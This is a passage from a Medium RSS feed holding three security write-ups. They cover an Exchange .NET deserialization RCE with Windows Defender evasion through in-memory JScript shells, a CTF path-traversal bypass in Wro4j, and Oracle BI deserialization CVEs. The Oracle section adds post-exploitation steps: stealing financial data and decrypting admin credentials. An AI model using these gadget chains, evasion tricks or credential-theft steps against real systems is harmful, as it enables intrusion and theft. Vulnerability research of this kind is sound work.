src="https://cdn-images-1.medium.com/max/545/0*kxJSDq8r_iaMvm1g.png" /></figure><p>After a little bit of playing around with how can we set the <strong>userConfiguration </strong>from HTTP request we found this document from Microsoft</p><p><a href="https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/createuserconfiguration-operation">CreateUserConfiguration operation</a></p><p>But from the public document, we can’t find how to set Stream into userConfiguration so we dive into the logic of EWS to see how we can set it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/489/0*VEefGj2ygTFASnYC.png" /></figure><p>We clearly see that there’s a XML node name “BinaryData”, which sound like the serialization data we want to set</p><pre><strong>CreateUserConfiguration</strong>.<em>Execute()<br>    </em><strong>UserConfigurationCommandBase</strong>.<em>SetProperties()<br>         </em><strong>UserConfigurationCommandBase</strong>.<em>SetStream()</em></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/0*m-SbIvkIhZRdYPBL.png" /><figcaption><strong>UserConfigurationCommandBase</strong>.<em>SetProperties()</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/0*8lgt6mxkVGubKYAB.png" /><figcaption><strong>UserConfigurationCommandBase</strong>.<em>SetStream()</em></figcaption></figure><p>Basically, our request to EWS looks like this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/0*xDKdFImxlep81IKm.png" /><figcaption>sample request for setting BinaryData</figcaption></figure><p>Now we can set <strong>userConfiguration </strong>but how to trigger the actual deserialization sink?</p><p>Tracing back from <strong>OrgExtensionSerializer</strong>.<strong><em>TryDeserialize() </em></strong><em>we can reach to </em><strong>GetClientAccessToken</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/0*a_bIarFv2UtxrVCP.png" /></figure><p>With this API from MS documents, now we can trigger the deserialization sink</p><p><a href="https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/getclientaccesstoken-operation">GetClientAccessToken operation</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/544/0*we5ITgJntamp2j14.png" /><figcaption>sample request for <strong>GetClientAccessToken</strong></figcaption></figure><h3><strong>FULL EXPLOIT</strong></h3><p>We finally achieve post-auth RCE:</p><ol><li>Create UserConfiguration with BinaryData as our Gadget Chain</li><li>Request to EWS for GetClientAccessToken to trigger the Deserialization</li></ol><p><strong>About the gadget chain:</strong></p><ul><li>We can embed any ysoserial.net gadget chain into <strong>System.Security.Claims.ClaimsPrincipal </strong>to trigger 2nd Deserialization</li><li>Or we can use directly use <strong>TypeConfusedDelegate </strong>Chain (This chain is not in the blacklist of <strong>ChainedSerializationBinder </strong>and I don’t know why :&gt; )</li></ul><h3><strong>IMPROVEMENT</strong></h3><p>We already can pop calc on our Lab environment but how about the actual environment with up to date Windows Defender?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/505/0*QWUk3Dt9xgTKQqDB.png" /><figcaption>This is what we got :)</figcaption></figure><p>Since ProxyLogon, ProxyShell, and till now some EDRs,AV,sysmon and Microsoft Windows Defender try to catch and prevent process spawn from w3wp.exe process. This also annoys us but we need some improvements to overcome it!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/355/0*qqlN0rYKxEWr4XRl.png" /></figure><p>As we know that we can use <strong>ClaimsPrincipal </strong>or <strong>TypeConfusedDelegate</strong> gadget chain to achieve post-auth RCE, but directly executing cmd.exe is not a good idea</p><p>With some improvements from @zcgonvh to ysoserial.net , gadget <strong>ActivitySurrogateSelector</strong> can use to load a DLL via<strong> Assembly.Load() </strong>function. The whole idea is from @zcgonvh blog also.</p><p><a href="http://www.zcgonvh.com/post/analysis_of_CVE-2020-17144_and_to_weaponizing.html">草泥马之家-CVE-2020-17144漏洞分析与武器化</a></p><p>This helps us achieve mem-shell when exploiting .net deserialization. Instead of calling Process.Start() now we move on eval JScript. With JScript, we can do many things with scripting instead of spawning cmd.exe / powershell.exe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/0*bSHf-vJP8xQlwfa_.png" /><figcaption>A snippet of code to eval JScript</figcaption></figure><p>Next, we write a new plugin for ysoserial.net with <strong>ClaimsPrincipal </strong>(this is almost the same with ClaimsIdentity) then put <strong>ActivitySurrogateSelector </strong>object into<strong> ClaimsPrincipal </strong>gadget chain.</p><p>But <strong>ActivitySurrogateSelector </strong>has some limitations with .NET 4.8 and later</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/0*7YDBibH-UOZNCG9x.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/0*Cu3hstFkVplhGjNO.png" /></figure><p>Shout out to <a href="https://twitter.com/monoxgas">@monoxgas</a> for <strong>ActivitySurrogateDisableTypeCheck</strong> gadget chain to disable the protection for <strong>ActivitySurrogateSelector</strong></p><p>Everything we need now is to put <strong>ActivitySurrogateDisableTypeCheck </strong>into<strong> ClaimsPrincipal</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/0*dipGUnUPOzcEKVkJ.png" /><figcaption><em>We’ve been laughing for hours while making this meme</em></figcaption></figure><p>The main idea of <strong>ActivitySurrogateDisableTypeCheck</strong> gadget chain is when deserializing it will call <em>GetObjectFromSerializationInfo()</em> and finnally reach to XamlReader.Parse() and run our Xaml payload to set value for <strong>DisableActivitySurrogateSelectorTypeCheck</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/0*uQZ007TcxO5zjQFj.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/0*FBoXuKdOJZ0BhR0L.png" /></figure><p>Our Xaml payload was executed but …</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/0*uBirxL1qk2m7IBas.png" /></figure><p>There’s an <strong>InvalidCastException </strong>was thrown before we can set <strong>DisableActivitySurrogateSelectorTypeCheck</strong> to True, and this Exception was not caught by Exchange so this chain won’t work and we cannot change <strong>DisableActivitySurrogateSelectorTypeCheck </strong>because of crashing w3wp.exe process!</p><p>So we can’t use <strong>ActivitySurrogateDisableTypeCheck </strong>gadget chain. Now we need to find another gadget chain or another way to call <strong>XamlReader.Parse()</strong></p><p>Remember that we can use <strong>TypeConfusedDelegate </strong>?</p><p>With <strong>TypeConfusedDelegate </strong>we can invoke the method arbitrarily ( ͡° ͜ʖ ͡°)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/0*F6uNluIP5LplS7E3.png" /><figcaption>This is how we call Process.Start()</figcaption></figure><p>How about <strong>XamlReader.Parse()</strong> ? <strong>XamlReader.Parse </strong>is a public/static also, so we can easily call it with <strong>TypeConfusedDelegate</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/0*KojFmH_9g_g-r8kg.png" /><figcaption>from TypeConfusedDelegate -&gt; XamlReader.Parse()</figcaption></figure><p>Finally, everything works as our expected, we can change <strong>DisableActivitySurrogateSelectorTypeCheck </strong>to True to overcome the limitation of .NET and later inject DLL to achieve mem-shell with Jscript to bypass the detection</p><p>PoC video:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FFmx6JlSABAQ%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DFmx6JlSABAQ&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FFmx6JlSABAQ%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/e80ec1ad475727574ddfb1e131b31617/href">https://medium.com/media/e80ec1ad475727574ddfb1e131b31617/href</a></iframe><p>PoC: We don’t think we will …</p><h3><strong>Final Thought</strong></h3><p>This exploit only work for</p><ul><li>Microsoft Exchange 2019 CU10, 11</li><li>Microsoft Exchange 2016 CU21, 22</li></ul><p>And didn’t affect another version, who knows what happened behind the scenes with a typo mistake on <strong>ChainedSerializationBinder </strong>¯\_(ツ)_/¯</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=110d04e8852" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[::ACSC Quals 2021::] — Breaking Logics]]></title>
            <link>https://peterjson.medium.com/acsc-quals-2021-breaking-logics-3816992bd583?source=rss-9d0bc610db35------2</link>
            <guid isPermaLink="false">https://medium.com/p/3816992bd583</guid>
            <category><![CDATA[0day]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[wro4j]]></category>
            <category><![CDATA[acsc]]></category>
            <category><![CDATA[2021]]></category>
            <dc:creator><![CDATA[Peterjson]]></dc:creator>
            <pubDate>Sun, 19 Sep 2021 16:15:59 GMT</pubDate>
            <atom:updated>2021-09-20T02:24:38.667Z</atom:updated>
            <content:encoded><![CDATA[<h3>[::ACSC Quals 2021::] — Breaking Logics</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cE6i3YkgOz86eF0eOYmmBw.png" /></figure><p>Yesterday, I have played ACSC 2021 and there an interesting challenge from <a href="https://twitter.com/orange_8361">Orange Tsai</a> and I want to write down something about this <a href="https://storage.googleapis.com/ctfd-uploads/breaking-logics.tar.gz_e4ae4f2b5108f48166b9b8b7350e5482.gz">challenge</a>. The challenges from ACSC so good and it will be up for 1–2 days. If you curious about them, go head <a href="https://score.acsc.asia/c">https://score.acsc.asia</a>/</p><p>This challenge is easy to approach but I dont know while Orange didn’t give us the Dockerfile like allmost of web challenge</p><ol><li>I try Tomcat 8 + Java 8 for local but it cant be up because Wro compatible Java 9</li><li>then I try Tomcat 7 + Java 9, but this time the payload didn’t work as usual because the different logic between servletContext.getRealPath() of Tomcat 7 and Tomcat 8</li><li>Finally I try Tomcat 8 + Java 9 and it matchs the remote environment, this make me watse a lot of time for setting environment :(</li></ol><h3><strong>Enviroment setup</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TqKP3NKxe23owgv_8XCsjg.png" /><figcaption>unzip the WAR and import it to IDEA</figcaption></figure><p>Orange gave us a war file of this challenge, and we need to spin up local enviroment to debug this challenge</p><p>At first I setup with wrong java version so it didn’t work as usual. Later when a analysis via IDEA I noticed that the actual java version is 9</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bb47qa3nxm59dukLnUddWg.png" /><figcaption>Notice the Java bytecode version</figcaption></figure><p>This is the enviroment I used for local Tomcat 8 with Java 9</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6exFX6RXe939OZuKexkR1w.png" /><figcaption>Tomcat 8 and Java 9</figcaption></figure><p>Next, we need to deploy the WAR which Orange gave us and make it’s context to ROOT</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I4SYvUt9Sjq-MRZtGVd3Dg.png" /><figcaption>ROOT context of tomcat</figcaption></figure><p>Next I added to “JAVA_OPTS” in <strong>catalina.sh </strong>to enable remote debugging</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qvdo9RpZqfR-XNjo92UDQA.png" /></figure><p>And config remote debug in our IDEA also</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*216a0m0zu7geBJ7yLdGN0A.png" /><figcaption>config remote debug on IDEA</figcaption></figure><p>Now everything work perfectly for us to find Orange’s 0day</p><h3><strong>Analysis</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BqdgW6CmrKE26qfRchXi-w.png" /></figure><p>Our job is need to find a way to read the “flag.jsp”</p><p>When we access the challenge, there’s an additional request to get the resource at “/wro/all.js” which actually triggers <strong>WroFilter</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AAKPaWS7sRffhDJuMZHMbA.png" /><figcaption>web.xml</figcaption></figure><p>And the challenge only aim to this Filter, so I need to know how it works. First I added some breakpoint at WroFilter.doFilter()</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CD_NjwF1SqG7EHMZWCacnw.png" /><figcaption>WroFilter.doFilter()</figcaption></figure><p>After hit the breakpoint with our request to “/wro/all.js”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2rsy5MipmrQt-m82lnkbCg.png" /></figure><p>There are 2 branches, <strong>handledWithRequestHandler()</strong> and <strong>processRequest()</strong>, continue and we reach <strong>handledWithRequestHandler()</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e3pbfe0wLM_YiSiRps6pRw.png" /></figure><p>At this point we could see that Wro handle the requsest with 4 RequestHandler and if we want to step into each RequestHandler we need to pass the accept() method of each RequestHandler.</p><p>And ResourceProxyRequestHandler looks promising for us !</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y6QM32BXH2a3xouXlkVUSg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ogMm604lFBTYo-BfGcJp9w.png" /></figure><p>In order to let ResourceProxyRequestHandler accept our request, our request must valid the isProxyRequest() method. So our request to step into ResourceProxyRequestHandler is something like this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8rbDSOtLUlBbO5j7Mad7_w.png" /></figure><p>After we step into ResourceProxyRequestHandler there’s an additional check if our request is authorized or not</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*re1fv0WkHOxRzoenED5kDQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bvH7U9AUo4U5gGkaVDsoFA.png" /></figure><p>But there’s a big hole when checking the uri</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*npTJKGlx4khCptAFJbJxxg.png" /></figure><p>Wro remove the queryString before it check that the resource is in the <strong>authorizedResources </strong>or not</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VLagavy3vqL74ogoIPk93Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Esc6KTjhTrLiBc9tBSZThw.png" /></figure><p>So we can put any string after “?” to pass this check</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nc5AEgiJwhi5zKKHa0T6vQ.png" /></figure><p>When we pass the check Wro try to get our request resource and copy it’s content to our HTTP Response</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-GWr-JfKQvC8dfPerf0eHQ.png" /></figure><p>Now we need to focus the locate() function which will locate our request resource and send it to us. I replace “ANY_STRING” with some the traversal payload “/../../flag.jsp” and then realised that we actually traversal to ROOT context</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8rI8B07KNzM9DhrJSIyOsw.png" /></figure><p>Continue and step into locateStream() function, Wro finnaly fetch <strong>flag.jsp</strong> for us</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*slexMkBT-urUe8d91Wgxzg.png" /></figure><p>and this is our Flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*poixjj_gezqRxcxxeYYaDQ.png" /></figure><p>But there’s a little bit noise when the challenge deploy on Tomcat 7, when re-calculating the realPath, it miss one slash at the end, so this will make locateStream() throw Exception because our realPath is invalid</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dVqEQc3nvCY6oQ8OkKDqzg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k_-3xUsBMG-K7140-5rqug.png" /></figure><p>After pass the Exception, Wro will dispatch the uri with RequestDispatcher, now our payload “/asset/debug.js?dummy/../../flag.jsp” will be dispatched with the RequestDispatcher, it means that “?dummy/../../flag.jsp” parsed as query string and will be ignore, and we finnaly get the content of “/asset/debug.js”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PJm9uRrveVMX_bCxgji_6A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8Uvv_4pL29-yDEFliTayQQ.png" /></figure><h3><strong>Conclusion</strong></h3><p>I don’t know why Orange didnt give us full Dockerfile about this challenge and this make me waste a lot of time to figure it out</p><p>One more thing, if you request to “/wro/wroAPI/reloadModel” Wro will reload the model and the <strong>authorizedResources </strong>will be empty in the check step above, and it always return false, so you can’t get your flag at the time you test the server if anyone trying to request to “/wro/wroAPI/reloadModel” repeatedly.</p><p>Anyway, ACSC 2021 is a good CTF contest. I enjoy the time, all challenges. And thanks the organizer for making such a good CTF !</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3816992bd583" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Linh tinh về Oracle Business Intelligence [part 3]]]></title>
            <link>https://peterjson.medium.com/linh-tinh-v%E1%BB%81-oracle-business-intelligence-part-3-bcf8206c5e89?source=rss-9d0bc610db35------2</link>
            <guid isPermaLink="false">https://medium.com/p/bcf8206c5e89</guid>
            <category><![CDATA[oracle]]></category>
            <category><![CDATA[deserialization]]></category>
            <category><![CDATA[pre-auth-rce]]></category>
            <category><![CDATA[cve-2021-2244]]></category>
            <category><![CDATA[cve-2021-2456]]></category>
            <dc:creator><![CDATA[Peterjson]]></dc:creator>
            <pubDate>Thu, 16 Sep 2021 09:37:42 GMT</pubDate>
            <atom:updated>2021-09-16T09:37:42.471Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*qMjAviVp-PW-DazG2CDesg.png" /></figure><p>Để tiếp nối series Oracle Business Intelligence, mình sẽ write-up 2 bug pre-auth RCE mà mình tìm được đợt này CVE-2021-2244 và CVE-2021-2456 (số đẹp vkl ( ͡° ͜ʖ ͡°) ). Bài viết này sẽ nói về 2 bug trên cũng như những tip/trick khi target Oracle BI.</p><h3><strong>Enviroment</strong></h3><p><strong>Weblogic</strong>: 12.2.1.3.0</p><p><strong>Oralce</strong> BI: 12.2.1.4.0</p><h3><strong>CVE-2021–2244</strong></h3><p>Lần trước thì mình có đã có một bài <a href="https://peterjson.medium.com/cve-2020-2950-turning-amf-deserialize-bug-to-java-deserialize-bug-2984a8542b6f">blog</a> về cách tiếp cận khi exploit bug CVE-2019-2950 và sau đó là mở màn cho những bug trên mà tụi mình đã tìm thấy trong quá trình ngâm Oracle Business Intelligence. Sau khi đã pwn được target bằng cách response HTTP qua AMF Deserialization thì target mình nhắm tới đã upgrade và patch lên latest version. Vì sự cay cú này nên mình quyết định tìm bug Oracle BI và RCE lại target đó. Về cách setup và môi trường thì anh <a href="https://medium.com/u/6ac51190917c">Jang</a> đã trình bày rất rõ trong <a href="https://testbnull.medium.com/linh-tinh-v%E1%BB%81-oracle-business-intelligence-part-1-5a050b48a193">part 1</a>.</p><p>Sau khi setup xong Oracle BI thì port 9502 thường sẽ được public ra internet để user access và thao tác cùng với đó port 9500 sẽ là port của Weblogic Console.</p><p>Trong bài viết của mình về CVE-2019-2950 mình cũng đã đề cập những module, application được deploy trên Weblogic để chạy Oracle BI. Để dễ hình dung hơn từ UI, sau khi login Weblogic Console các bạn access</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C5-IjVPKz0f26hXHIUDVXA.png" /><figcaption><strong>Domain Structure -&gt; Deployments</strong></figcaption></figure><p>Ở tab Monitoring các bạn sẽ thấy những module được xài cho Oracle BI. <strong>CVE-2019-2950</strong> nằm ở module<strong> jbips.war , </strong>và lần review này mình review hết những module còn lại và CVE-2021-2244 nằm ở module <strong>aps.war</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ik4wHUKmpL2ijLCYzgWalw.png" /><figcaption><strong>Domain Structure -&gt; Deployments -&gt; Monitoring</strong></figcaption></figure><p>Vào Oracle Home rồi search aps.war rồi unpack ra xem có gì thôi</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FWwKXzCXJdOOwyuxAKjx-w.png" /><figcaption>aps module</figcaption></figure><p>Cơ bản chỉ có vài servlet, filter mình có thể access, và bug đã đến với mình một cách hết sức dễ dàng, không filter ObjectInputStream, gadget thì vô tận</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*COd7hJMALUGb3WAMoPfxKA.png" /><figcaption>RCE VKL ( ͡° ͜ʖ ͡°)</figcaption></figure><p>Công việc của mình hết sức đơn giản, lắp CVE-2020-2883 vào cùng với template response HTTP và cho ra đời pre-auth RCE CVE-2021-2244</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UkHKRK6PzQSDH--xXTv6BA.png" /><figcaption>CVE-2020–2883 response HTTP</figcaption></figure><p>Và đây là exploit mà mình đã submit cho ZDI, chắc do đó giờ làm những target khó nên mình luôn muốn payload RCE dành cho tất cả mọi case như kiểu response HTTP chẳng hạn, còn để persistence thì có thể găm fileless shell vào để thuận tiện cho công tác sau này ( ͡° ͜ʖ ͡°)</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/f10dcc6d05edd4bb1e5c2cdd7bd6c3a0/href">https://medium.com/media/f10dcc6d05edd4bb1e5c2cdd7bd6c3a0/href</a></iframe><p>Thời điểm này sau khi mình submit cho ZDI xong, có bảo với anh @Jang về module này và chờ đợi vào blacklist từ Oracle ( ͡° ͜ʖ ͡°) để bypass như T3. Sau đó anh <a href="https://medium.com/u/6ac51190917c">Jang</a> đã dùng gadget inspector cào ra chain mới và chờ đợi patch từ Oralce (vì rice shirt rice money :( ). Nhưng cuộc đời không như là mơ, Oracle đã khôn hơn trước</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*1z0FP4imyaUJINxGEetU1g.jpeg" /><figcaption>fix bug làm gì, xóa cho lẹ :)</figcaption></figure><p>Oracle remove đi module này khỏi BI 12.2.1.4 và whitelist class khi deserialize ở version 11.1.2.4 .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*Qdw_n6jotxL1vLcc5a_FUg.png" /><figcaption>ESSObjectInputStream instead of ObjectInputStream</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mABojeVSEm7S-nq2HUgGDw.png" /><figcaption>ESSObjectInputStream implement JEP 290</figcaption></figure><p>Thế là không có bypass gì nữa, do đó anh @Jang quyết định public chain exploit kia vì nó khá là hay ho nhưng không có đất phô diễn :( . Để hiểu rõ hơn cơ chế cũng như cách tìm ra những gadget chain như thế này, các bạn có thể xem lại bài <a href="https://testbnull.medium.com/the-art-of-deserialization-gadget-hunting-part-3-how-i-found-cve-2020-2555-by-known-tools-67819b29cb63">blog</a> của anh <a href="https://medium.com/u/6ac51190917c">Jang</a> . Và đây là gadget mà anh <a href="https://medium.com/u/6ac51190917c">Jang</a> đã tìm ra với classpath Weblogic + Oracle BI.</p><pre>BadAttributeValueExpException.readObject()<br>    XmlSimpleList.toString()<br>        AutoPopulatingList.get()<br>            VectorSet.set()<br>                CaseInsensitiveOrderedSet.add()<br>                    MapBackedSet.add()<br>                        EnvVars.put()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YqfFZUJOmoARRMZeXLJDPw.png" /><figcaption>command injection VKL ( ͡° ͜ʖ ͡°)</figcaption></figure><p>Và đây là gadget chain của anh @Jang , khuyến khích các bạn debug để hiểu rõ hơn gadget này hoạt động như thế nào</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/c46e414e89177d380a7cb832251a5aca/href">https://medium.com/media/c46e414e89177d380a7cb832251a5aca/href</a></iframe><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f_uy_-R0niYkLO0A8JtaSA.gif" /><figcaption>demo</figcaption></figure><h3><strong>CVE-2021–2456</strong></h3><p>Trong thời gian chờ đợi ZDI mòn mỏi, mình có quay lại module jbips để xem Oralce fix CVE-2019–2950 như thế nào, và Oracle đã làm mình không thất vọng vì chỉ blacklist những gadget cũ. Điều này có nghĩa nếu mình muốn RCE thì phải tìm một gadget mới, context ở đây khó hơn Java Deserilaization native vì context này là AMF Deserialization. Để hiểu rõ cái khó của AMF các bạn có thể tìm đọc lại bài phân tích của mình về CVE-2019-2950 nhé.</p><p>Vậy thì Oracle đã blacklist như thế nào cho sau CVE-2019-2950?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_rrx5VDWICgOpSVqPSotsA.png" /><figcaption>blacklist class/package</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y5ZJ5xFmrtjwE_GfAa2HQg.png" /><figcaption>check blacklist</figcaption></figure><p>Để tìm ra CVE-2021-2456 mình đã custom lại một tý gadget inspector cho phù hợp với context của AMF. Cụ thể là mình đã tạo một class mới implement SourceDiscovery và chỉ focus một số source phù hợp với AMF Deserialization.</p><ol><li>Với setter thì source cần phải thỏa mãn có Constructor không có args, setter phải có modifier là public và chỉ có một arg</li><li>focus vào readExternal() thay vì readObject()</li><li>blacklist đi những package, class mà Oracle đã blacklist ở AMF</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZCFmJBI62tR6ajXwkZ62ew.png" /></figure><p>Sau đó mình sẽ focus vào một số sink để có thể RCE</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ic7yGXGnhAPgZhxR-WNMqg.png" /></figure><p>Ở đây mình bỏ đi sink về readObject() method bởi vì trong context của AMF, ngoại trừ stream input của chúng ta được wrap qua một stream khác thì lúc đó khả năng convert từ AMF -&gt; Java Deser sẽ cao hơn, vì thế mình thêm một sink về ObjectInputStream để detect AMF stream từ user input sẽ được convert sang ObjectInputStream</p><p>Sau một hồi chạy và sàng lọc từng kết quả (pain :&lt; ) thì mình đã ra được một chain khá như ý (AMF Deserialization -&gt; Java Deserialization ) để tiện cho việc attack sau này như chạy java code, inject fileless shell, …</p><p>Vì hiện tại đang work from home và mình cũng không có đủ resource để chạy full classpath của Oracle BI (mình collect những jar từ ProcessHacker + cohenrence library) nên mình sẽ chạy demo ở package mà mình đã tìm ra cái chain cho CVE-2021-2456 ở <strong>eclipselink.jar. </strong>Lưu ý khi run nhớ thêm cả <strong>rt.jar </strong>để gadgetinspector có thể nhận được class ObjectInputStream.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3lpY8s4Vo74iq_PcLRHECA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rlpIDTUBVFOBku15A3Qdmg.png" /><figcaption>org.eclipse.persistence.internal.sessions.factories.model.login.LoginConfig.setEncryptedPassword()</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lY8eV_2p4FLxS-zcdRwhOQ.png" /><figcaption>org.eclipse.persistence.internal.security.JCEEncryptor.decryptPassword()</figcaption></figure><p>Khá may mắn là cả AES và DES đều hardcore key trong lib này luôn nên việc generate ra một gadget hoàn chỉnh là điều hoàn toàn có thể</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VS3knaaNx0KeRYnaXNDk8g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dUzQ1OwQlHJE1BRPrppTdA.png" /></figure><p>Ngoài LoginConfig thì JNDINamingServiceConfig cũng có chain tương tự. Chain này chỉ affect 12.2.1.4.0 còn version 11.x version của <strong>eclipselink.jar</strong> cũ hơn nên không có đoạn code như ver 12.2.1.4.0</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cbBQsWjkcVsytIVYwcZNVQ.png" /><figcaption>org.eclipse.persistence.internal.sessions.factories.model.login.LoginConfig.setEncryptedPassword() 11.x</figcaption></figure><p>Vậy thì sau CVE-2021-2456 Oracle đã patch như thế nào? Oracle không sử dụng blacklist nữa mà thay vào đó là whitelist, việc whitelist này cũng dẫn đến việc rất khó bypass nhất là khi context AMF khó exploit hơn Java Deser</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gqsgLn55vnE2TTyyCs2FUA.png" /><figcaption>whitelist instead of blacklist</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*bvwQPtXZNFNFEPDNiv7eGA.png" /><figcaption>check whitelist</figcaption></figure><p>Do đó việc tìm một gadget chain khác để exploit cũng khó hơn và tốn công sức hơn. Mình quyết định tìm kiếm những target mới, task mới làm để học được nhiều hơn và kết thúc Oracle BI tại đây.</p><h3><strong>Bonus</strong></h3><p>Khi attack Oracle BI thì mình không chỉ focus vào RCE mà focus vào kết quả sau đó</p><ol><li>có chân internal để tiếp tục escalate tiếp phục vụ công tác về sau ( ͡° ͜ʖ ͡°)</li><li>Data trên oracle về tài chính, doanh thu, tiền bạc ( ͡° ͜ʖ ͡°)</li></ol><p>Vì tất cả các exploit mình làm đều là Java Deserialization vì thế mình dễ dàng custom để inject memory shell, và cũng có thể chạy được code Java (CommonsBeanutils1 chain -&gt; load byte code)</p><p>Trong quá trình start/stop Oracle BI mình có để ý trong quá trình Bootstrap thì có đoạn này ( ͡° ͜ʖ ͡°)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2wRlvvSu1gnaAGAjcEfWmg.png" /></figure><p>Với tính tò mò thì mình đã thử tìm file credentials đó và thật may mắn khi ta hoàn toàn có thể decrypt credentials đó bằng WLST như bài <a href="https://www.middlewareinventory.com/blog/recover-weblogic-password-in-4-steps/">blog</a> này. Để đơn giản hơn thì mình tiếp tục inject một filter khác vào chỉ cần input đúng path file boot.properties thì sẽ decrypt ra được pass của Admin từ đó access những info quan trọng khác</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a 